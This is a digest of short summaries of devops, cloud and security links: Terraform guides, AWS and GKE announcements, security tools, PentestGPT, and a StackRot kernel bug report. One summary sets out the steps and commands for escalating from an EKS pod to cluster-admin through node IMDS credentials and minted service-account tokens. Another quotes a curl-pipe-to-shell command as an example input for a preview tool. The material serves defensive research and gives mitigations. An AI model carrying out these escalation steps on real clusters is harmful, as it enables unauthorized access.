    Takeaway: Go 1.21 is the release where slog, slices and PGO became standard. Upgrade-planning notes still apply to any codebase that predates it.

  • dkron: Distributed, Fault Tolerant Job Scheduling System
    summary

    TL;DR: Dkron is a distributed, fault-tolerant cron service written in Go that uses Raft and Serf to run scheduled jobs across a cluster with no single point of failure.

    • Repo move: The distribworks/dkron URL now redirects to dkron-io/dkron; it is still active in 2026 with about 4,700 stars.
    • Design: Raft for consensus and Serf gossip for membership, inspired by Google’s “Reliable Cron across the Planet” paper and Airbnb Chronos.
    • Features: Web UI, high job volumes across thousands of nodes, jobs targeted at any combination of servers.
    • Platforms: Linux, macOS and Windows.
    • Quickstart: docker compose up -d, UI at http://localhost:8080/ui; scale with docker compose up -d --scale dkron-server=4 --scale dkron-agent=10.
    • License: LGPL-3.0; jobs are managed through a REST API.

    Takeaway: A self-hosted option when Kubernetes CronJobs or a single cron host are not enough. Check which features sit in the open-source edition before committing.

  • tailer: CLI Tool to Insert Lines When Command Output Stops
    summary

    TL;DR: tailer is a small MIT-licensed Go CLI that prints a separator line whenever a command’s output pauses, making bursts in log streams easy to see. It is a Go port of samwho/spacer.

    • Install: go install github.com/hionay/tailer/cmd/tailer@latest.
    • Pipe or exec: Pipe output into it, or run tailer exec "python3 -m http.server 9300" without a pipe.
    • Options: --after (-a) sets the idle duration before a line, default 1s; --dash (-d) sets the line character, default ─; --no-color.
    • Status: About 130 stars; last commit July 2023.

    Takeaway: A tiny quality-of-life tool for tail -f and dev servers. It has not been updated since 2023, which matters little at this size.

  • lingua-go: Accurate Natural Language Detection Library for Go
    summary

    TL;DR: Lingua-go, by pemistahl, is an Apache 2.0 Go library for offline natural language detection that aims for high accuracy on short texts and mixed-language text across 75 languages.

    • Method: Rule-based alphabet filtering first, then n-gram models of sizes 1 to 5, instead of the usual trigrams only; no dictionaries and no external API.
    • Benchmarks: Compared against Whatlanggo and Google’s CLD3 (via gocld3) on Leipzig Wortschatz corpora; e.g. German averages 89.23%, with 73.90% on single words, 94.10% on word pairs and 99.70% on sentences.
    • Memory: About 1,800 MB with all models in high accuracy mode, about 110 MB in WithLowAccuracyMode(), which loses accuracy below 120 characters.
    • Tuning: Restrict the candidate languages, set a minimum relative distance, read confidence values, and choose eager (WithPreloadedLanguageModels()) or lazy loading.
    • Install: go get github.com/pemistahl/lingua-go; requires Go 1.18+.
    • Status: About 1,400 stars; last push February 2025.

    Takeaway: A strong choice for language routing or filtering in Go. Budget for the memory use or limit the language set.

  • try: Inspect a Command’s Effects Before Modifying Your Live System
    summary

    TL;DR: try, from the binpash project, is an MIT-licensed shell tool that runs a command in a Linux namespace with an overlayfs so you can inspect its filesystem changes before committing them to the live system.

    • Usage: try pip3 install libdash runs the command, shows the changes and asks whether to commit them.
    • Deferred commit: try -n "curl https://sh.rustup.rs | sh" prints the overlay directory instead of committing; try -N dir reuses a sandbox dir and try summary dir lists changes.
    • Mechanism: unshare user namespaces plus overlayfs; falls back to mergerfs or unionfs-fuse with -U for nested mounts; needs Linux 5.11+.
    • Limits: The README says it is a “semisolate”, not a full sandbox: network calls are allowed, so it should not run untrusted commands.
    • Install: Single try script on PATH, or autoconf && ./configure && make && sudo make install, plus AUR and nixpkgs packages.
    • Recognition: About 5,500 stars; the README reports a best paper and distinguished artifact award at OSDI ‘26.

    Takeaway: Useful for previewing what installers and scripts change on disk. Do not treat it as a security sandbox for untrusted code.

  • deepsecrets: Secrets Scanner That Understands Code
    summary

    TL;DR: DeepSecrets is a secrets scanner, originally from Avito, that combines regex rules with code lexing and semantic analysis to cut false positives. The Avito repo is frozen; development moved to the creator’s fork ntoskernel/deepsecrets, now an OWASP project.

    • Repo status: The avito-tech README warns it will receive no updates; the fork was still active in October 2026.
    • Approach: Semantic code analysis, dangerous variable detection and context-aware entropy checks across 500+ languages and formats.
    • HashedSecret engine: Supply hashes of known production secrets and it finds them in plain text without you sharing the secrets.
    • Benchmarks (fork, self-reported): On SecretBench (June 2026), 93% recall and 8% false positive rate.
    • Usage: pip install deepsecrets (Python 3.11+), then deepsecrets --target-dir /path --outformat dojo-sarif --outfile report.json.
    • Options: Custom regex rules, --hashed-values, exclusions, --confidence-level, CI mode, masking on by default.

    Takeaway: Use the ntoskernel fork, not the Avito URL. The hashed-secrets feature is a good fit for checking whether known production credentials leaked into code.

  • jsluice: Extract URLs, Paths, Secrets, and Other Interesting Bits from JavaScript
    summary

    TL;DR: jsluice is an MIT-licensed Go package and CLI from Bishop Fox that parses JavaScript with tree-sitter to extract URLs, paths, secrets and other interesting data, going beyond regex scraping.

    • Install: go install github.com/BishopFox/jsluice/cmd/jsluice@latest, or go get github.com/BishopFox/jsluice as a library.
    • URL extraction: Finds URLs where they are used, e.g. document.location assignments, window.open() and fetch(), and reports method, query and body params.
    • String concatenation: Replaces unknown expressions with EXPR, e.g. /login?redirect=EXPR&method=oauth, recovering params a naive regex would miss.
    • Secrets: Built-in secret matchers plus AddSecretMatcher with tree-sitter queries for custom patterns.
    • Extensibility: AddURLMatcher for custom node types (string, assignment_expression, call_expression).
    • Status: About 2,000 stars; last push May 2024.

    Takeaway: A strong addition to web recon pipelines for mining endpoints from JS bundles. Feed its output into your crawler or fuzzer.

  • threat-composer: Threat Modeling Tool to Reduce Time-to-Value When Threat Modeling
    summary

    TL;DR: Threat Composer is an Apache 2.0 threat modeling tool from AWS Labs that helps teams write structured threat statements and track assumptions and mitigations; it has grown into a small ecosystem since 2023.

    • Threat grammar: Composes threats with a structured grammar and adaptive suggestions, with full examples.
    • Features: Architecture and data flow diagrams, assumption tracking linked to threats and mitigations, insights dashboard, reusable threat and mitigation packs.
    • Formats: Exports to JSON, Markdown, DOCX and PDF; JSON works well in Git for “living” threat models.
    • Web app: Live demo on GitHub Pages, or self-host in your own AWS account; data stays in browser storage.
    • Newer additions: An experimental AI CLI and MCP server that analyze code with Amazon Bedrock to generate a starter model (Bedrock costs apply), and a VS Code extension.

    Takeaway: A free, practical way to start threat modeling with consistent statements. Keep the JSON model in the repo next to the code it describes.

  • PentestGPT: GPT-Empowered Penetration Testing Tool
    summary

    TL;DR: PentestGPT is an MIT-licensed LLM-driven penetration testing tool by Gelei Deng and colleagues, published at USENIX Security 2024. It started as a GPT-4 guided assistant in 2023 and v1.0 is now an autonomous agent.

    • Current design: A multi-stage pipeline: recon, exploit and walkthrough for CTFs; asset discovery, vulnerability identification and report for pentests.
    • Backends: The autonomous mode drives Claude Code or Codex CLIs; a “legacy” interactive mode supports OpenAI, Anthropic, Gemini, DeepSeek, xAI, Qwen, Moonshot and local Ollama.
    • Usage: pentestgpt --target 10.10.11.234, --instruction "..." for context, --mode pentest, --list-sessions for saved sessions.
    • Categories: Web, crypto, reversing, forensics, PWN and privilege escalation.
    • Install: Python 3.12+, uv, make install, or a Docker image bundling both CLIs.
    • Status: About 16,000 stars; active in 2026. The README now differs substantially from the 2023 version linked here.

    Takeaway: Interesting for CTF practice and research on agentic pentesting. Run it only against targets you are authorized to test and review every action it takes.

  • GPT-4 Outperforms Humans in Pitch Deck Effectiveness Among Investors and Business Owners
    summary

    TL;DR: A 2023 marketing study by Clarify Capital, a business financing company, claiming investors and business owners rated GPT-4 generated pitch decks far more convincing than successful human-made decks.

    • Method: GPT-4 was prompted to create decks per industry; 250 investors and 250 business owners rated them against human decks that had already secured funding, without knowing AI was involved.
    • Headline numbers: 80% found GPT-4 decks convincing vs 39% for human decks; respondents were 3x more likely to invest after a GPT-4 deck; 1 in 5 would invest $10,000 or more.
    • Finance: 88% more likely to find GPT-4 decks convincing; 34% investment rate vs 16%.
    • Marketing: 73% more likely convincing; quality 75% vs 32%; willingness to invest 35% vs 12%.
    • Tech: 70% more convincing; 37% vs 11% willing to invest.
    • Demographics: 68% men, 31% women, 1% undisclosed; no further methodology or independent replication published.
    • Source caveat: The live page returned a Cloudflare challenge; summary based on a gwern.net mirror of the page.

    Takeaway: Treat it as vendor content marketing, not research. At most it suggests LLM drafts are a reasonable starting point for pitch materials.

  • security-interview-questions: Security Interview Questions for AppSec, Pentesting, Cloud Security and More
    summary

    TL;DR: A community collection by GitHub user jassics of security interview questions with suggested explanations for roles such as AppSec, pentesting, cloud security, DevSecOps and network security.

    • Organization: Separate files per role and level, e.g. Application Security, API Security, Web Security/Pentest and Security Architect scenarios, cross-linked rather than duplicated.
    • AppSec file: SDLC-centric questions on secure code review, threat modeling and crypto basics, plus a code review round with vulnerable snippets.
    • API file: OWASP API Security Top 10, JWT, OAuth2, mTLS, GraphQL and gRPC authorization, with 8 scenario questions.
    • Web/pentest file: SOP, CORS, CSP, OWASP Top 10 exploit internals, session attacks and methodology.
    • Status: About 500 stars; still updated in 2026; no license file.

    Takeaway: Useful for both candidates and interviewers; the “what to listen for” guidance helps standardize interviews.

  • awesome-aws-security: Curated List of Links, References, Books, and Tutorials on AWS Security
    summary

    TL;DR: A GPL-3.0 curated list by jassics of AWS security resources: whitepapers, books, videos, tutorials, courses, tools, CTFs, security bulletins and breaches.

    • Sections: AWS whitepapers, books, videos, online tutorials and blogs, paid and free courses, tools, practice labs and CTFs, AWS security bulletins and notable breaches.
    • Related repos: Links to the author’s cloud security learning resources, AWS security study plan, AWS interview questions, cloud security roadmap and slides.
    • Bulletins: Recommends bookmarking the AWS Security Bulletins page.
    • Status: About 1,600 stars; updated in September 2026.

    Takeaway: A broad index for building an AWS security study plan. Quality varies by entry, so treat it as a starting point.

  • NSA: Defending Continuous Integration/Continuous Delivery (CI/CD) Environments
    summary

    TL;DR: A joint NSA and CISA Cybersecurity Information Sheet (June 2023, TLP:CLEAR) on hardening cloud CI/CD environments, tool-agnostic and mapped to MITRE ATT&CK.

    • Threats: Insecure code, poisoned pipeline execution, insufficient pipeline access controls, insecure system configuration, third-party services and exposed secrets.
    • Scenarios: (1) stolen Git or CI/CD credentials; (2) supply chain compromise of a library, tool or container image; (3) compromise that modifies CI/CD config, IaC, source or dependencies.
    • Access mitigations: NSA-recommended cryptography, minimizing long-term credentials, signing CI/CD config and verifying it, two-person rules for all code updates, least-privilege CI/CD access, securing accounts and secrets, network segmentation.
    • Environment mitigations: Keep CI/CD tools and OSes patched, remove unnecessary applications, deploy EDR.
    • Process mitigations: Security scanning in the pipeline, restricting untrusted libraries, analyzing committed code, removing temporary resources, audit logs, SBOM and SCA, and resiliency testing.
    • Appendix: CI/CD threats mapped to ATT&CK tactics and D3FEND countermeasures; references the OWASP Top 10 CI/CD Security Risks and NIST SP 800-207.
    • Source caveat: The defense.gov URL returns 403 to non-browser clients; summary based on a Wayback Machine copy of the PDF.

    Takeaway: A government-backed checklist to justify CI/CD controls such as 2PR, short-lived credentials and signed pipeline config. Map your pipeline against its three scenarios.

  • Leveraging AWS SSO (aka Identity Center) with Google Workspaces: Version 2
    summary

    TL;DR: Chris Farris (PrimeHarbor, 2023) updates his guide to using Google Workspace as the identity provider for AWS IAM Identity Center (AWS SSO), after AWS added native automatic provisioning from Google.

    • SAML setup: In Identity Center change the identity source to an external IdP; in Google Admin add the “Amazon Web Services” app, copy the ACS URL and issuer URL, set Name ID format to EMAIL, map RoleSessionName to primary email, and upload GoogleIDPMetadata.xml.
    • Safety tip: Make the change as an IAM user to avoid locking yourself out.
    • New provisioning: Copy the SCIM endpoint and access token into Google’s “Configure autoprovisioning”; he sets deprovisioning to hard-delete AWS users when deleted in Google.
    • Big limitation: The Google app syncs users only, not groups, and only users already in Identity Center groups or a provisioning-scope group; enabling SCIM removes console group management.
    • Verdict: He calls the new auto-provisioning too immature and plans to keep the older ssosync method with the new app.
    • Licensing note: Google Cloud Identity users work the same as Workspace users.

    Takeaway: Read this before switching to the native Google provisioning. If you rely on Google groups for access, you still need ssosync or Terraform-managed groups.

  • How to Add, Use, and Update .terraform.lock.hcl Without Pain
    summary

    TL;DR: A guest post by Maksym Vlasov on grem1.in (2023) on why to commit .terraform.lock.hcl files and how to generate and update them across many root modules without pain.

    • Trigger: Terraform 1.4.0 always checks the lockfile before the provider cache, breaking workflows that ignored lockfiles.
    • Security: h1: and zh: hashes pin exact provider artifacts per platform, reducing supply chain risk from providers.
    • Generation: Uses the terraform_providers_lock hook from pre-commit-terraform with -platform=linux_amd64, linux_arm64, darwin_amd64 and darwin_arm64, plus files regexes to split huge repos into batches.
    • Prep: Make every root module pass terraform validate, using terraform init -backend=false, before adding lockfiles.
    • Updates: Automate with Renovate, Dependabot or the tfupdate pre-commit hook; tfupdate forces one version across the codebase.
    • Safety net: Back updates with automated terraform plan in CI (Atlantis, Spacelift, Terraform Cloud or your own).

    Takeaway: Commit lockfiles with hashes for all platforms your team and CI use, and let a bot update them through planned PRs.

  • 8 Terraform Continuous Validation Use Cases for AWS, Google Cloud, and Azure
    summary

    TL;DR: A HashiCorp blog post (26 June 2023, by Sarah French, KT Lynn and Jared Baker) with eight example Terraform check blocks used for continuous validation in Terraform Cloud Plus.

    • Requirements: Terraform 1.5+ check blocks; continuous validation is a Terraform Cloud Plus feature.
    • AWS: Budget not exceeded via aws_budgets_budget (!budget_exceeded); no open GuardDuty findings via aws_guardduty_finding_ids (!has_findings); both need AWS provider 5.2+.
    • Google Cloud: VM current_status == "RUNNING"; Private CA certificate valid 30+ days using timecmp and plantimestamp(); Cloud Function state == "ACTIVE"; Google provider 4.70+.
    • Azure: VM power_state == "running"; App Service certificate expiring within 30 days; Function or Web App usage limit, with examples in the AzureRM repo under examples/tfc-checks/.
    • Note: The Azure usage-limit example as published asserts usage == "Exceeded", which appears inverted relative to its stated intent.

    Takeaway: Borrow these patterns for health and drift assertions even outside Terraform Cloud, since check blocks run on every plan. Double-check the example conditions before copying.

  • terraform-fake-modules: Terraform Fake Modules
    summary

    TL;DR: A Gruntwork repository of “fake” Terraform modules that mimic AWS and GCP resources such as VPC, EKS and Aurora, so you can explore Terraform and Terragrunt behaviour without creating real infrastructure.

    • Behaviour: Modules authenticate to the cloud provider but create no real resources; they generate semi-realistic outputs.
    • Usage: source = "git::https://github.com/gruntwork-io/terraform-fake-modules.git//modules/aws/vpc?ref=main"; the fake EKS module takes vpc_id = module.vpc.id.
    • Terragrunt: Works as a terraform { source = ... } block in terragrunt.hcl.
    • Requirements: Terraform 1.0+, AWS provider 4.0+, optional Terragrunt 0.31+.
    • Maintainers: Members of Gruntwork’s sales team; last push July 2023, about 50 stars.

    Takeaway: Handy for teaching or demoing module wiring and Terragrunt dependency graphs at zero cost. It is not useful for testing real provider behaviour.

  • actions-permissions: GitHub Token Permissions Monitor and Advisor Actions
    summary

    TL;DR: GitHub Security Lab’s public-beta Monitor and Advisor actions help you find the minimal GITHUB_TOKEN permissions a GitHub Actions workflow actually needs.

    • Monitor action: Added to a job, it tracks the temporary token’s API usage and writes a per-run summary recommending minimum permissions.
    • Advisor action: Aggregates Monitor recommendations across multiple runs, since conditional steps may not run every time.
    • Workflow: Add Monitor to every job without explicit permissions, collect several runs, apply the recommended least-privilege permissions: block, then remove Monitor.
    • Motivation: Least privilege is best practice but manual tightening risks breaking workflows.
    • Status: MIT license, about 390 stars, updated January 2026.

    Takeaway: A low-effort way to move workflows from default broad token permissions to explicit minimal ones. Pair it with a repo default of read-only tokens.

  • GKE Security Posture Dashboard Now Generally Available with Enhanced Features
    summary

    TL;DR: Google Cloud (Glen Messenger and Daniel L’Hommedieu, 27 June 2023) announces general availability of the GKE Security Posture dashboard, with misconfiguration detection and vulnerability scanning for GKE clusters.

    • Scale: Supports clusters of up to 1,000 nodes for misconfiguration and OS vulnerability scanning.
    • Security bulletin surfacing (preview): Shows GKE security bulletins that affect a cluster based on its version and configuration, with mitigations, at no extra cost.
    • Defaults: Configuration audits and bulletin surfacing are on by default for new clusters.
    • Autopilot: Container OS vulnerability scanning is on by default for new Autopilot clusters, with no compute charge for the feature.
    • Goal: Reduce the toil of sorting through CVEs by showing only those relevant to your clusters.

    Takeaway: Check that the dashboard is enabled on older GKE clusters, since the defaults only applied to newly created ones.

  • Zed: High-Performance, Multiplayer Code Editor from the Creators of Atom and Tree-sitter
    summary

    (Could not fetch full text.)

    TL;DR: Zed is an open-source, high-performance code editor from Zed Industries, founded by the creators of Atom and Tree-sitter, with built-in multiplayer collaboration. The 2023 launch page has been replaced by the current site.

    • Current pitch: “The world’s fastest IDE. Open source. AI optional.” (Zed, established 2021).
    • New product: The site now also promotes Delta (2026), “a multiplayer environment for coding with agents, powered by DeltaDB”.
    • Tech: The site references its GPUI UI framework and Tree-sitter incremental parsing, both from Zed Industries.
    • Collaboration: Real-time multiplayer editing was a core feature from the start, per the title.
    • Source caveat: Based on the current homepage and the title; the July 2023 page content is no longer available at this URL.

    Takeaway: Zed has changed a lot since 2023 and now pitches AI-optional and agent workflows. Evaluate the current version, not the launch-era claims.

  • GitLab’s AI-Assisted Code Suggestions
    summary

    (Could not fetch full text.)

    TL;DR: The 2023 GitLab Code Suggestions page described GitLab’s AI code completion feature, part of GitLab Duo. The URL now redirects to the GitLab Duo Agent Platform page.

    • Redirect: /solutions/code-suggestions/ now lands on about.gitlab.com/gitlab-duo-agent-platform/.
    • Current page: Promotes specialized agents for planning, coding, security analysis and analytics, an AI Catalog, and custom agents following org conventions.
    • Integrations: The page says external agents such as Claude Code and Codex can be integrated into GitLab workflows.
    • Scope today: “Agentic workflows” that carry a change through review, tests, security and pipelines to a merge request.
    • Source caveat: The original Code Suggestions page content was not retrievable; summary based on the redirect target and the title.

    Takeaway: Code Suggestions has been folded into GitLab Duo. Check current GitLab Duo docs, tiers and data handling before enabling it.

  • kbom: Kubernetes Bill of Materials
    summary

    TL;DR: KBOM (Kubernetes Bill of Materials) is an Apache 2.0 spec and CLI from KSOC that inventories a Kubernetes cluster’s components, similar to an SBOM for clusters. The repo has moved to rad-security/kbom.

    • Move: The ksoclabs/kbom README says the repo moved to rad-security/kbom after KSOC became RAD Security; the new repo was still active in 2026.
    • Spec: An initial JSON specification designed to extend across cloud providers and DIY Kubernetes.
    • Install: brew install rad-security/tap/kbom or make build.
    • Usage: kbom generate with --format json|yaml|cyclonedx-json|cyclonedx-xml, --output stdout|file, --out-path and --short.
    • Compatibility: Tested with Kubernetes newer than v1.19 on Azure, AWS and Google Cloud; some metadata may be missing on other clusters.

    Takeaway: A quick way to snapshot what runs in a cluster in CycloneDX format. Use the rad-security repo URL.

  • New StackRot Linux Kernel Flaw Allows Privilege Escalation
    summary

    TL;DR: BleepingComputer (July 2023) reports StackRot, CVE-2023-3269, a Linux kernel use-after-free in memory management that allows local privilege escalation on kernels 6.1 through 6.4.

    • Discoverer: Security researcher Ruihan Li reported it on 15 June 2023; Linus Torvalds led the fix, which took almost two weeks.
    • Root cause: Stack expansion in the “maple tree” VMA structure (introduced in 6.1, replacing red-black trees) could replace a node without the mm write lock; the old node freed after the RCU grace period can be used after free.
    • Exploitability: Triggerable with minimal capabilities; Li called it possibly the first theoretically exploitable use-after-free-by-RCU bug.
    • Fixed versions: Backported to stable 6.1.37, 6.3.11 and 6.4.1 on 1 July 2023.
    • Distros: Debian 12 shipped 6.1 (affected unless patched); Ubuntu 22.04.2 shipped 5.19 (not in the affected range).
    • Exploit: Full details and PoC exploit were promised for the end of July 2023.

    Takeaway: Confirm any 6.1-6.4 kernels are at or above the fixed stable versions, especially on multi-tenant or container hosts.

13.06.2023

  • AWS IAM Actions
    summary

    (Could not fetch full text.)

    TL;DR: AWS IAM Actions is a web tool, with Cooper Walbrun named as author in the page metadata, for browsing and searching AWS IAM actions. The site returned only a “Request Blocked” page to automated requests.

    • Purpose (from title): A lookup of AWS IAM actions across services, to help write and review IAM policies.
    • Author: The page’s author meta tag names Cooper Walbrun.
    • Official equivalent: AWS’s Service Authorization Reference lists every service’s actions, resource types and condition keys.
    • Related data: The PyPI package iam-actions publishes a nightly scrape of AWS IAM services, actions and resource types as JSON; it is not confirmed to be related to this site.
    • Source caveat: Based on the page title, HTML metadata and web search results; the tool’s content and features could not be seen.

    Takeaway: Fine for quick lookups if it loads in your browser. For authoritative answers, use the AWS Service Authorization Reference.

  • Awesome-CloudSec-Labs: Awesome Cloud Security Labs
    summary

    TL;DR: A curated table by GitHub user iknowjason of free cloud-native security learning labs: CTFs, self-hosted workshops, guided vulnerability labs and research labs.

    • Size: About 47 entries; by technology roughly 19 AWS, 9 Azure, 6 Kubernetes and 4 GCP, plus container, CI/CD and Terraform labs.
    • Columns: Name, technology, category (author-hosted vs self-hosted CTF, guided lab), author and notes.
    • Examples: Wiz’s Big IAM Challenge, Cloud Hunting Games and Ultimate Cloud Security Championship; Bishop Fox CloudFoxable; Pwned Labs; Doyensec CloudSec Tidbits; AWS Well-Architected Security and AWS CIRT workshops.
    • Status: About 2,200 stars; last updated October 2025; no license file.

    Takeaway: One of the better starting points for hands-on cloud security practice. Prefer author-hosted labs if you do not want to pay for or clean up your own cloud resources.

  • mayfly: Operator to Manage Ephemeral Kubernetes Resources
    summary

    TL;DR: Mayfly, from Namecheap (NCCloud), is an Apache 2.0 Kubernetes operator that deletes resources after an expiration time and can create resources on a schedule.

    • Expiration: Annotate resources with mayfly.cloud.namecheap.com/expire using a duration (from creation time) or an exact date.
    • Scope: The RESOURCES env var lists watched kinds as {ApiVersion};{Kind}, e.g. v1;Secret,test.com/v1alpha;MyCRD.
    • Scheduling: A ScheduleResource CRD creates resources after a delay (10s), at an exact time, or on a cron expression such as */20 * * * * *; can be combined with expiration.
    • Install: helm install mayfly nccloud/mayfly --set "env[0].name=RESOURCES" --set "env[0].value=v1;Secret".
    • Use cases: Temporary resources, temporary access grants and keeping clusters tidy.
    • Status: About 340 stars; active in 2026.

    Takeaway: Useful for time-boxed access (e.g. expiring RoleBindings or Secrets) and ephemeral test resources. Limit which kinds it watches.

  • Privilege Escalation in AWS Elastic Kubernetes Service
    summary

    TL;DR: Calif researchers show that any pod on a default EKS node can steal the node’s IAM credentials from IMDS, exchange them for a system:node Kubernetes token, and mint service account tokens for other pods on the same node, up to cluster-admin.

    • Step 1: From a low-privilege pod, get the EC2 instance role credentials from the metadata service, then run aws eks get-token --cluster-name=... to get a system:node identity.
    • Step 2: NodeRestriction still lets a node act on pods bound to it. kubectl create token -n ns1 sa-priv --bound-object-kind=Pod --bound-object-name=... --bound-object-uid=... returns a token for a privileged pod’s service account.
    • Test setup: EKS v1.25.7, one node, an alpine pod plus a pod using a cluster-admin service account.
    • Persistence: With admin rights, adding a record to the aws-auth ConfigMap keeps access even after the EC2 role’s permissions are revoked.
    • Mitigations: IMDSv2 with http_put_response_hop_limit set to 1, or iptables rules blocking IMDS. Isolate untrusted workloads on separate nodes and restrict public access to the API endpoint.
    • Update (Nov 2023): cert-manager’s service account has full pod permissions, which opens another escalation path.

    Takeaway: On EKS, treat every pod as having its node’s privileges until IMDS is blocked. Keep privileged service accounts off nodes that run untrusted workloads.

  • ebpf-beginners: The Beginner’s Guide to eBPF
    summary

    TL;DR: Liz Rice’s repository of code, slides and recordings for her “Beginner’s Guide to eBPF Programming” talks, plus pointers to her eBPF books.

    • Origin: Code from her eBPF Summit 2020 talk; ebpf.py is the Python (BCC) code written live, with slides and a YouTube recording.
    • Other talks: A Go version with libbpfgo, an eBPF load balancer from scratch in C (eBPF Summit 2021), eBPF networking examples, and “eBPF Superpowers” at DockerCon.
    • Books: “What is eBPF?” and “Learning eBPF”, downloadable from Isovalent or on O’Reilly; code for the latter lives in lizrice/learning-ebpf.
    • Status: Apache 2.0, about 1,700 stars; last updated May 2023.

    Takeaway: A good first stop for learning eBPF. For deeper, current examples go to the learning-ebpf repo.

  • go-callvis: Visualize Call Graph of a Go Program Using Graphviz
    summary

    TL;DR: go-callvis, by Ondrej Fabry, is a Go development tool that builds the call graph of a Go program and shows it as an interactive, package-focused view rendered through Graphviz dot output.

    • How it works: Runs pointer analysis to build the call graph, then emits dot output that Graphviz renders.
    • Install: go install github.com/ofabry/go-callvis@latest; needs Go 1.19+, Graphviz only with the -graphviz flag.
    • Interactive mode: go-callvis <target package> starts a web server on :7878 serving SVGs; click a package to switch focus.
    • Static output: -file=<path> with -format=svg|png|jpg.
    • Filtering: -focus, -group pkg,type, -limit, -include, -ignore, -nostd, -nointer, -tests; -algo static|cha|rta|vta picks the analyzer.
    • Legend: Colours mark focused/stdlib/other packages; dashed lines are dynamic calls, circle arrows concurrent calls, diamond arrows deferred calls.

    Takeaway: Useful for getting a map of an unfamiliar Go codebase. Narrow it with -focus and -nostd or the graph gets unreadable on large projects.

  • Move Over, Dockerfiles! the New Way to Craft Containers
    summary

    TL;DR: Chainguard engineers Jason Hall and Zachary Newman (April 2023) argue Dockerfiles are non-hermetic and bloated, and compare declarative alternatives: ko, Bazel rules_oci, Nix and apko.

    • Dockerfile problems: Implicit online dependencies make builds non-hermetic and non-reproducible; base images pull in unused software and vulnerabilities; build commands land in image metadata and can leak secrets; SBOMs miss dependencies.
    • ko: CNCF tool for pure-Go apps, ko build, no Docker needed, reproducible images with SBOMs by default; Jib (Java) and dotnet publish are similar but equally limited.
    • Bazel rules_oci: Fast, cached and reproducible, but practical only if the code already builds in Bazel.
    • Nix: dockerTools gives bit-for-bit reproducible images with shared layers; steep learning curve.
    • apko: Chainguard’s tool for base images where all content must come from APK packages; used for Chainguard Images.
    • Guidance: Use your existing Bazel/Nix ecosystem, use ko/Jib/dotnet publish where they fit, consider apko for minimal images with SBOMs, otherwise keep Dockerfiles on good base images.

    Takeaway: For Go services, ko is the cheapest win. Elsewhere, pick a minimal base image even if you keep Dockerfiles.

  • So Long Passwords, Thanks for All the Phish: Passkeys for Google Accounts
    summary

    TL;DR: Google Security Blog post by Arnar Birgisson and Diana K Smetters (May 3, 2023) announcing passkeys for personal Google Accounts; signing in with a passkey skips both the password and 2-Step Verification.

    • What it is: A private key stored on the device, unlocked by fingerprint, face or PIN; the public key goes to Google, which verifies a signed challenge.
    • Phishing resistance: The device only shares signatures with Google sites and apps, not phishing intermediaries; biometrics never leave the device.
    • Strength: Treated as stronger than most 2SV methods; can stand in for security keys in the Advanced Protection Program.
    • Fallbacks: Passwords still work for devices without passkey support; Google says it will increasingly scrutinize password fallbacks.
    • Cross-device: Passkeys may sync (e.g. via iCloud), and a phone passkey can approve a one-time sign-in on another device via proximity.
    • Caveats: Do not create passkeys on shared devices; revoke lost-device passkeys in account settings. Setup at g.co/passkeys.

    Takeaway: Enabling a passkey removes phishable password and SMS codes from the normal sign-in path. Keep recovery phone and email set.

  • azure-cost-cli: CLI Tool to Perform Cost Analysis on Your Azure Subscription
    summary

    TL;DR: azure-cost-cli, by Michiel van Oudheusden, is a .NET global tool that queries the Azure Cost Management API and prints subscription costs to console, text, CSV, Markdown or JSON, for use in scripts and pipelines.

    • Install: dotnet tool install --global azure-cost-cli; needs .NET 8.0 or 10.0 and az login or an identity with Cost Management Reader.
    • Commands: accumulatedCost, costByResource, dailyCosts --dimension MeterCategory, diff, plus budgets listing.
    • Analysis: Detects anomalies and trends in cost for automated reporting.
    • Output: -o json|text|csv|markdown so it can feed later workflow steps.
    • Limits: Not all subscription types (e.g. sponsored) are supported by the Cost Management API.
    • Current state: The README now references .NET 10, so it has been maintained past 2023.

    Takeaway: A quick way to post Azure spend into a PR comment or chat from CI. Check your subscription type is supported first.

  • AWS Verified Access Is Now Generally Available
    summary

    TL;DR: AWS announcement (April 28, 2023) that AWS Verified Access is generally available: VPN-less access to corporate applications, with each request checked in real time against identity and device posture.

    • Model: Built on AWS Zero Trust principles; fine-grained policies, e.g. only certain groups, only from compliant devices.
    • WAF: GA adds AWS WAF support to filter SQL injection, XSS and other web threats.
    • Signed identity context: Passes signed user context (login alias, role, department) to the app, which can reject unsigned requests or personalize content.
    • Regions at GA: 10, including US East (Ohio, N. Virginia), US West (N. California, Oregon), Sydney, Canada Central, Frankfurt, Ireland, London and Sao Paulo.
    • Resources: Links to the Verified Access page, networking blog, console and pricing.

    Takeaway: An option for replacing a VPN for internal web apps on AWS. Have the app verify the signed identity header so traffic cannot bypass the gateway.

  • Get Details on Security Finding Changes with the New Finding History Feature in Security Hub
    summary

    TL;DR: AWS Security Blog post by Nicholas Jaeger and Shachar Hirshberg (May 4, 2023) introducing Finding History in AWS Security Hub, an immutable record of every change to a finding.

    • What is tracked: Before and after values of changed fields, who or what changed them, and when.
    • Sources of change: Providers updating via BatchImportFindings; users, ticketing, SIEM or remediation tools via BatchUpdateFindings or the console.
    • Where: Security Hub console, select a finding, History tab; also available through the Security Hub APIs.
    • Cost: No additional charge, in all Regions where Security Hub runs; on by default for new or updated findings.
    • Use case: See actions already taken (workflow status, notes) during an investigation without separate tooling.

    Takeaway: Use the History tab as the audit trail when triaging or handing off findings, instead of tracking status changes elsewhere.

  • ATT&CK v13 Enters the Room: Pseudocode, Swifter Search, and Mobile Data Sources
    summary

    (Could not fetch full text.)

    TL;DR: MITRE’s Medium announcement of ATT&CK v13 (April 2023), written by Amy L. Robertson, covering CAR pseudocode in detections, faster site search and new Mobile data sources.

    • Pseudocode: CAR-derived pseudocode added to a number of data components, as a starting template for custom detections and a guide to what to collect.
    • Detection guidance: Detailed detection guidance added to some Enterprise techniques.
    • Mobile data sources: New in v13: Application Vetting, Command, Network Traffic, Process, Sensor Health, User Interface.
    • Enterprise counts: 14 tactics, 196 techniques, 411 sub-techniques, 138 groups, 22 campaigns, 740 software entries.
    • Changelogs: Human-readable detailed changelog and machine-readable JSON changelog added.
    • Source caveat: Medium blocked the fetch (403); based on the official ATT&CK April 2023 update page and Industrial Cyber coverage found via search.

    Takeaway: If you map detections to ATT&CK, the v13 pseudocode is a starting point for writing your own rules. Use the JSON changelog to track what moved between versions.

  • Manage Multiple Terraform Projects in Monorepo
    summary

    TL;DR: A janik6n.net post (April 13, 2023) describes a Terraform monorepo layout with many projects and versioned modules, deployed through GitHub Actions without extra tools like Terragrunt and without branch-per-environment.

